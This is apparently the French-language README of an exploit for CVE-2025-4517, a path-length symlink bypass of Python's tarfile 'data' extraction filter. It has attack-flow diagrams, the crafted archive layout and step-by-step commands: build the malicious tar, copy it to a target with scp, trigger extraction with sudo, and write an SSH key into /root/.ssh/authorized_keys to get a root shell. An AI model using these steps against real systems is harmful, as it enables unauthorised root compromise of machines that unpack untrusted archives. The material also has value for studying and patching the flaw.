flowchart TD
    A["Attaquant crée un tar malveillant"] --> B["Le tar contient :
    16 paires dir/lien sym.
    Lien sym. d'échappement de 254 car.
    Lien sym. 'escape' vers /
    Fichier de charge utile"]

    B --> C["La cible extrait avec
    tarfile.extractall(filter='data')"]

    C --> D{"Python résout les liens sym.
    via os.path.realpath()"}

    D --> E["Suit les liens sym. courts a→ddd...d
    Le chemin résolu grandit à chaque étape"]

    E --> F{"Longueur du chemin résolu
    > PATH_MAX (4096) ?"}

    F -->|"Non (normal)"| G["realpath résout correctement
    Lien sym. bloqué par le filtre ✓"]

    F -->|"Oui (dépassement !)"| H["realpath ARRÊTE de résoudre
    Revient à une manipulation de chaînes"]

    H --> I["Python pense que le lien sym.
    se résout DANS le répertoire d'extraction"]

    I --> J["Le filtre LAISSE PASSER le lien sym. ✗"]

    J --> K["L'OS suit correctement le lien sym.
    'escape' se résout en /"]

    K --> L["Charge utile écrite dans
    un fichier arbitraire sur le disque"]

    style F fill:#ff6b6b,color:#fff
    style H fill:#ff6b6b,color:#fff
    style J fill:#ff6b6b,color:#fff
    style L fill:#ff6b6b,color:#fff
    style G fill:#51cf66,color:#fff

sequenceDiagram
    participant A as Machine attaquante
    participant T as Machine cible

    Note over A: Phase 1 — Préparation
    A->>A: Générer une paire de clés SSH (ssh-keygen)
    A->>A: Configurer les variables de l'exploit<br/>(DEST_DIR, DEPTH_TO_ROOT, etc.)
    A->>A: Exécuter CVE-2025-4517.py ou .go<br/>pour générer le tar malveillant

    Note over A,T: Phase 2 — Livraison
    A->>T: Transférer le tar malveillant vers la cible<br/>(scp, wget, curl, ftp, etc.)
    T->>T: Placer le tar dans un emplacement accessible<br/>au script vulnérable

    Note over T: Phase 3 — Exploitation
    T->>T: Déclencher l'extraction via le<br/>script Python vulnérable
    T->>T: Python appelle tarfile.extractall(filter="data")

    Note over T: Ce que Python voit vs la réalité
    T->>T: realpath() dépasse PATH_MAX
    T->>T: Le filtre pense que le lien « escape » est sûr
    T->>T: L'OS suit « escape » → se résout en /
    T->>T: Charge utile écrite dans /root/.ssh/authorized_keys

    Note over A,T: Phase 4 — Accès
    A->>T: SSH en tant que root en utilisant la clé écrite
    T-->>A: Shell root obtenu

graph LR
    subgraph "Membres du tar (extraits dans l'ordre)"
        D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
        D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
        D3["📁 ...16 niveaux..."] --> S3["🔗 .../p → ddd...d"]
        S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
        S5["🔗 escape<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
        F1["📄 escape/root/.ssh/authorized_keys<br/>(contenu de la charge utile)"]
    end

    S1 -.->|"chemin court<br/>reste petit"| S2
    S2 -.-> S3
    S3 -.-> S4
    S4 -.->|"254 caractères pousse<br/>au-delà de PATH_MAX"| S5
    S5 -.->|"se résout en /"| F1

# 1. Générer une paire de clés SSH
ssh-keygen -t ed25519 -f root_key -N ''

# 2. Modifier CVE-2025-4517.py — mettre à jour DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT

# 3. Générer le tar malveillant
python3 CVE-2025-4517.py

# 4. Transférer vers la cible
scp backup_99.tar user@target:/path/to/backups/

# 1. Générer une paire de clés SSH
ssh-keygen -t ed25519 -f root_key -N ''

# 2. Modifier CVE-2025-4517.go — mettre à jour destDir, depthToRoot, payload, output

# 3. Générer le tar malveillant
go run CVE-2025-4517.go

# 4. Transférer vers la cible
scp backup_99.tar user@target:/path/to/backups/

# Déclencher l'extraction via le script Python vulnérable
# La commande exacte dépend de la façon dont le script cible est invoqué
# Exemple :
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir

# SSH en tant que root en utilisant la clé placée
ssh -i root_key root@target

/tmp/staging/extract_dir/
 (1)   (2)     (3)

DEPTH_TO_ROOT = 3

/var/lib/app/data/staging/
 (1) (2)  (3) (4)   (5)

DEPTH_TO_ROOT = 5

/opt/restore/backups/output_dir/
 (1)   (2)     (3)      (4)

DEPTH_TO_ROOT = 4

import tarfile

with tarfile.open("archive.tar", "r") as tar:
    tar.extractall(path="/some/directory", filter="data")  # VULNÉRABLE